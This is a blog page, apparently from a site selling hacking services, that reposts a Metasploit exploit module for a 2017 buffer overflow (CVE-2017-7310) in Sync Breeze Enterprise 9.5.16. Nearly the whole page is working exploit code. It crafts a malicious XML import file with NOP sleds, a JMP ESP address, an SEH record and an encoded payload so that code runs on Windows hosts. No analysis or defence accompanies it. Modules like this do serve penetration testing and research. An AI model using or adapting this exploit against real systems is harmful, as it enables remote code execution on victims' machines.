Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863100773

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
      'Description'     => %q(
        This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
        by using the import command option to import a specially crafted xml file.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Daniel Teixeira'
        ],
      'References'      =>
        [
          [ 'CVE', '2017-7310' ],
          [ 'EDB', '41773' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true'
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          ['Windows Universal', { 'Ret' => 0x10015FFE } ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Mar 29 2017',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ])
  end

  def exploit
    jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
    esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
    jmp = "\xFF\xE0" # JMP ESP

    buffer =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
    buffer << "\x90" * 1536
    buffer << jmpesp
    buffer << "\x90" * 18
    buffer << esp
    buffer << jmp
    buffer << "\x90" * 68
    buffer << generate_seh_record(target.ret)
    buffer << "\x90" * 10
    buffer << payload.encoded
    buffer << "\x90" * 5000
    buffer << "\n</classify>"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end